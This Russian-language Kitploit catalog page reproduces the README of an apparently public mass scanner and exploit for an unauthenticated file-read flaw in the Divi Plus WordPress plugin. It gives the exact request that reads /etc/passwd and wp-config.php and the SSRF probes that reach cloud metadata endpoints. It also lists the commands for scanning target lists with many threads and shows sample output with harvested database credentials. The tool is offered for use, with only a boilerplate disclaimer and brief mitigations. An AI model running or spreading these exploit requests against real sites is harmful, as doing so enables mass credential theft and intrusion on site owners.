Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-91136 — Массовый сканер и PoC-эксплойт для CVE-2026-91136 — неаутентифицированного произвольного чтения файлов в плагине Divi Plus для WordPress через REST-параметр svg_image. | Kitploit
Инструменты/GitHubGitHub/fl0ydsec/cve-2026-91136
РазведкаСканеры уязвимостейСканеры веб-уязвимостейЭксплуатацияЭксплуатация веб-приложенийЭксфильтрация данныхСбор информацииВеб-безопасность
GitHubfl0ydsec/cve-2026-91136

CVE-2026-91136

Массовый сканер и PoC-эксплойт для CVE-2026-91136 — неаутентифицированного произвольного чтения файлов в плагине Divi Plus для WordPress через REST-параметр svg_image.

224 дней назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий

CVE-2026-91136 — Divi Plus ≤ 2.4.0 — PoC неаутентифицированного произвольного чтения файлов

Divi Plus (Elicus) — плагин WordPress ≤ 2.4.0 — неаутентифицированное произвольное чтение файлов через параметр svg_image REST-пространства имён elicus/v1.

CVE-2026-91136 CVSS WordPress Auth

Author Python Telegram


📋 Обзор уязвимости

АтрибутДетали
CVE IDCVE-2026-91136
Цепочкаsvg_image → file_get_contents() (резервный вариант wp_remote_get) → JSON html
Критичность🟠 ВЫСОКАЯ (CVSS 7.5)
ЦельDivi Plus (Divi Extended / Elicus)
Затронуто≤ 2.4.0
Исправлено2.4.1
Требуется аутентификацияНет

🔍 Техническое описание

SVGAnimatorController::index_permission безусловно возвращает true, поэтому эндпоинт /wp-json/elicus/v1/dipl-modules/svg-animator доступен без аутентификации. Входные данные svg_image проходят только через sanitize_text_field() и esc_html() — которые не ограничивают пути файловой системы, обёртку потока file:// или удалённые URL — прежде чем передаются в file_get_contents() (с резервным вызовом wp_remote_get()). Необработанное тело ответа возвращается в поле JSON html.

GET /wp-json/elicus/v1/dipl-modules/svg-animator?svg_image=/etc/passwd
        │
        ▼
index_permission() = true (no auth)
        │
        ▼
svg_image -> sanitize_text_field/esc_html (no path restriction)
        │
        ▼
file_get_contents() -> fallback wp_remote_get()
        │
        ▼
{"html":"root:x:0:0:root:/root:/bin/bash\n..."}

Воздействие: чтение /etc/passwd, wp-config.php (учётные данные БД + соли аутентификации), облачных метаданных через SSRF (169.254.169.254 / GCP / Azure / DO / OCI), .env и любого другого файла, доступного для чтения веб-пользователю.


🚀 Использование

# single target
python CVE-2026-91136.py -u https://target.com

# mass scan
python CVE-2026-91136.py -i targets.txt -t 20 -o results

# interactive (banner -> targets -> threads)
python CVE-2026-91136.py
ОпцияОписание
-u/--url URLОдна цель
-i/--input FILEФайл с целями, по одной на строку (допускаются комментарии #)
-t/--threads NПотоки (запрашивается интерактивно, если не указано)
--timeout NТайм-аут запроса (по умолчанию 12)
-q/--quietПоказывать только попадания; остальное выводится во встроенный счётчик
-v/--verboseПоказывать одну строку на каждую цель
-o/--output FILEЗаписывать результаты в JSONL + FILE.hits.txt

📊 Вывод

[OK] https://target.com                                        ✓ 1  ✗ 0
    passwd: root:x:0:0:root:/root:/bin/bash
      link: https://target.com/wp-json/elicus/v1/dipl-modules/svg-animator?svg_image=/etc/passwd
    wp-config: /var/www/html/wp-config.php
      link: https://target.com/wp-json/elicus/v1/dipl-modules/svg-animator?svg_image=/var/www/html/wp-config.php
      DB_NAME=wordpress
      DB_USER=wp_user
      DB_PASSWORD=***
      DB_HOST=localhost

✓ OK: 1   ✗ FAIL: 2979   total: 2980
  • живой однострочный индикатор прогресса: [████░░░░] 42% (1250/2980) ✓ 3 ✗ 1247
  • results.hits.txt — только подтверждённые уязвимые цели

⚙️ Возможности

  • Фингерпринтинг: ответ эндпоинта svg-animator + версия через ассеты divi-plus ?ver=
  • Определение версии: уязвимая ветка возвращает тела файлов; исправленная/WAF возвращает 403/пусто
  • Обнаружение wp-config.php: фиксированные кандидаты + реальные каталоги /home/<user>/, извлечённые из /etc/passwd
  • SSRF-пробы: эндпоинты метаданных AWS / GCP / Azure / DigitalOcean / OCI
  • Извлечение добычи: учётные данные БД + соли аутентификации WordPress, с прямыми переиспользуемыми ссылками для каждой находки
  • Массовый режим: пул потоков, дедупликация, живой подсчёт ✓/✗, экспорт JSONL + hits

📁 Структура файлов

├── CVE-2026-91136.py   # mass scanner + exploit
├── README.md
├── LICENSE
└── .gitignore

⚠️ Отказ от ответственности

╔══════════════════════════════════════════════════════════════════╗
║                        LEGAL DISCLAIMER                          ║
╠══════════════════════════════════════════════════════════════════╣
║  This tool is provided for EDUCATIONAL and AUTHORIZED           ║
║  SECURITY TESTING purposes only.                                ║
║  Only use on systems you own or have explicit permission.       ║
║  The author is NOT responsible for any misuse or damage.        ║
╚══════════════════════════════════════════════════════════════════╝

🛡️ Меры защиты

  1. Обновите Divi Plus до версии 2.4.1 (или более поздней)
  2. Смените все учётные данные, скомпрометированные в результате чтения файлов
  3. Заблокируйте GET/POST /wp-json/elicus/v1/dipl-modules/svg-animator на WAF
  4. Отслеживайте в журналах значения svg_image, содержащие file://, /etc/ или IP-адреса метаданных

👤 Автор

fl0ydsec (Floydroot)

GitHub Telegram

Исследование безопасности

Скачать инструмент